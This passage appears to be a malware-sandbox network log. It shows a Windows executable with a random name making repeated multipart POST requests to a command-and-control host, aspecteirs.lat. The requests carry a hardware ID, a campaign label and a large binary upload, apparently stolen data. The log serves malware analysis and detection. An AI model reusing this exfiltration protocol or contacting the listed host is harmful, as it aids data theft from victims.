2024-12-18 20:30:42 UTC	15032	OUT	Data Raw: 2d 2d 57 58 34 50 31 47 39 33 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 58 34 50 31 47 39 33 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 58 34 50 31 47 39 33 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 57 58 34 50 31 47 39 33 37 54 0d 0a 43 6f 6e 74 65 Data Ascii: --WX4P1G937TContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--WX4P1G937TContent-Disposition: form-data; name="pid"2--WX4P1G937TContent-Disposition: form-data; name="lid"CVmr0t--installs--WX4P1G937TConte
2024-12-18 20:30:43 UTC	1050	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=88q69arh91hgdeu86t9jjsqtcr; expires=Sun, 13-Apr-2025 14:17:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KxA0gOAxO%2Bi%2BwHMMXurPcwDM0AMJ7sEtpvN1OflppKP1CZ95089%2Bh%2F86ZyyM3IVWU6mLMjz9Do4DC4NBvJ%2BpOwOjG%2BHMrOotq72MocaJoW%2FuYgiA9v33NVx7RB%2FBZChxBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e98cb94bde96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1682&rtt_var=647&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2833&recv_bytes=15962&delivery_rate=1668571&cwnd=224&unsent_bytes=0&cid=d905ff4462fe0cf1&ts=778&x=0"
2024-12-18 20:30:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49823	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:45 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P3UFYMBBK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20516 Host: aspecteirs.lat
2024-12-18 20:30:45 UTC	1	OUT	Data Raw: 2d Data Ascii: -
2024-12-18 20:30:45 UTC	15282	OUT	Data Raw: 2d 50 33 55 46 59 4d 42 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 33 55 46 59 4d 42 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 33 55 46 59 4d 42 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 50 33 55 46 59 4d 42 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: -P3UFYMBBKContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--P3UFYMBBKContent-Disposition: form-data; name="pid"3--P3UFYMBBKContent-Disposition: form-data; name="lid"CVmr0t--installs--P3UFYMBBKContent-Di
2024-12-18 20:30:45 UTC	1	OUT	Data Raw: b5 Data Ascii:
2024-12-18 20:30:45 UTC	5232	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-18 20:30:46 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3tsmd2r01cl99d2b4sgvucmp19; expires=Sun, 13-Apr-2025 14:17:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6rjMXoKhI2vXl0JqiZHySHsBJ36k9dMxbZHzjW39oBoR9BTof6r%2Bi7fmzgifZCOqxzGdnOeZHOXe3rlrQU01jnPwdZ1AGuqXT%2FdvPmZMwdB0ivy2raL%2FrswtIfUyBCvz%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e99fe91542a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2557&min_rtt=1628&rtt_var=1274&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21511&delivery_rate=1793611&cwnd=225&unsent_bytes=0&cid=5f5336653c0811f5&ts=948&x=0"
2024-12-18 20:30:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49825	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:48 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3FVW928V4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1245 Host: aspecteirs.lat
2024-12-18 20:30:48 UTC	1245	OUT	Data Raw: 2d 2d 33 46 56 57 39 32 38 56 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 46 56 57 39 32 38 56 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 46 56 57 39 32 38 56 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 33 46 56 57 39 32 38 56 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --3FVW928V4Content-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--3FVW928V4Content-Disposition: form-data; name="pid"1--3FVW928V4Content-Disposition: form-data; name="lid"CVmr0t--installs--3FVW928V4Content-D
2024-12-18 20:30:49 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dr98rn1ep5kahor9ohfnanuak4; expires=Sun, 13-Apr-2025 14:17:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L1oTO4gpp1BNXwgB%2Bnel5XwJn3bfGobEV8Y6bboJTkOrrRESy2dDomigG%2B8ODxE%2FGBr3SJ3dHb8XwpDA4YzjwS82C3LJLzFjbDK7MhfiI12Ok7lGhuWbllOipl%2FmPiMddg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9b2089b43bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1593&rtt_var=616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2151&delivery_rate=1749550&cwnd=190&unsent_bytes=0&cid=e5074b27ec7484cf&ts=733&x=0"
2024-12-18 20:30:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49826	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:51 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P68KUQ92XJGFB6Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570083 Host: aspecteirs.lat
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 2d 2d 50 36 38 4b 55 51 39 32 58 4a 47 46 42 36 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 36 38 4b 55 51 39 32 58 4a 47 46 42 36 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 36 38 4b 55 51 39 32 58 4a 47 46 42 36 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 50 36 Data Ascii: --P68KUQ92XJGFB6ZContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--P68KUQ92XJGFB6ZContent-Disposition: form-data; name="pid"1--P68KUQ92XJGFB6ZContent-Disposition: form-data; name="lid"CVmr0t--installs--P6
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: c0 02 4d 72 02 68 56 18 b8 0c 02 7f 95 56 0c 22 c1 0b 7b a9 da d9 56 62 75 ed ad 19 8b 74 7f de df 2f 04 c1 c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d 3f a8 a1 ba 7d de c4 85 4d 9a e8 b9 31 b1 03 ea 82 b2 e1 df be 01 24 Data Ascii: MrhVV"{Vbut/`%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=?}M1$
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 2d 58 b5 76 89 c2 5e b0 df 45 0a b0 10 00 77 a8 ea e1 f2 68 80 0f 31 e1 d1 4a bc 46 8e e8 5e 86 a7 d8 5c fb 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 de 7c 57 4d e8 38 5e e2 23 6e 08 1e 7c 98 89 7a ad 54 ac 47 29 d8 db Data Ascii: -Xv^Ewh1JF^\H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,\|WM8^#n\|zTG)
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: ed df 65 a0 6e 3b 87 8f 7c 54 5e cf 72 49 88 ff a5 81 d4 f0 19 44 c7 28 74 67 68 98 ad fe 92 b7 e3 25 5c 99 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 9e ed 79 2f 06 2c af 00 4b 4c d9 47 40 95 5c 77 77 3d 90 a1 06 0a e3 Data Ascii: en;\|T^rID(tgh%\HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9 y/,KLG@\ww=
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 8f 7a bd 01 89 8b 78 03 c1 76 44 d5 67 29 72 66 48 5c 57 ab 2d 17 e0 e1 94 99 83 e4 9c 2a a9 5e de 35 76 90 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc dc 8f c1 60 6e c2 b5 05 75 68 29 2c 34 32 32 88 1c ee b7 a9 d9 cf 47 Data Ascii: zxvDg)rfH\W-^5vE!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG`nuh),422G
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 9d a3 82 af 3d 1a d5 18 20 71 f0 09 43 72 cd 5a 7f 9b 91 5d 02 71 94 f3 2c 35 ce 47 9a f1 ad 6d d4 d6 d4 2c b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e c2 66 dd 45 65 40 58 1b ec fa 79 cb 90 9d e1 be 6e 39 e4 aa 00 a2 8e Data Ascii: = qCrZ]q,5Gm,Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@fEe@Xyn9
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 2c 99 a4 46 dd b4 78 b4 3a 3f 30 b3 ba 5d 5e b3 dd a7 9a c0 e8 e6 e6 33 44 3b ab 43 6e e0 80 59 b2 a1 a0 d8 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c 13 7c 07 64 05 83 4b bb 91 80 20 da 1c b4 35 c6 a8 03 7e 7d 60 be b3 Data Ascii: ,Fx:?0]^3D;CnY1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~\|dK 5~}`
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: 69 cf 3f 43 f2 96 bf 0b 13 99 68 58 00 c3 bf 28 83 ee 9a 98 9c 77 63 d9 0e c4 e8 2b 69 41 26 e2 7d a5 d3 e7 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 b6 16 69 33 e7 d6 7c 27 6f 2d 07 91 89 00 23 0b ed 18 4d 7f cf c8 c3 Data Ascii: i?ChX(wc+iA&}\'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>ji3\|'o-#M
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: dd 10 eb a3 6b 7d 37 36 6b 34 f3 f8 03 5d 8f af 36 da c6 8e 32 1e 28 ca b7 d5 10 3d c6 0e e3 a2 55 bb 00 77 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 74 69 24 df 2d d1 cd 37 07 3a 14 f5 94 f0 89 f5 69 0a 76 18 c2 fd 6f Data Ascii: k}76k4]62(=Uwr>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zrti$-7:ivo
2024-12-18 20:30:51 UTC	15331	OUT	Data Raw: ad 5c 84 fe 77 dc 22 af cc fa 88 c7 bf bd b5 fe 6d 73 e9 e7 2e c0 5b 6d 02 90 b0 00 f3 ce 3d ee c5 01 8b d9 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 7b b7 7a 3b 24 4b 70 8b 42 6c 30 36 0f df b1 b5 6b d6 8c 95 2a ea 5a Data Ascii: \w"ms.[m=TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU{z;$KpBl06k*Z
2024-12-18 20:30:54 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tuj1tp6quo7uqq9t4nbpr2e1nc; expires=Sun, 13-Apr-2025 14:17:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Fztof0ZEBYfOKW6zhpimtpupMis2lvt4ZqqZ6229dWJkfR%2Fg2YD0nDWydqfIFSf2SRvSZZ4RYchyWLbVIba%2FOQpT1iYG%2FzcSajnTjIt4l0d4inzPWchaBMwByde%2B%2Fsilw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9c28cdd7cf4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&min_rtt=1844&rtt_var=691&sent=281&recv=596&lost=0&retrans=0&sent_bytes=2833&recv_bytes=572625&delivery_rate=1582655&cwnd=214&unsent_bytes=0&cid=9dbf05dd82b310e6&ts=3844&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49830	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:56 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 85 Host: aspecteirs.lat
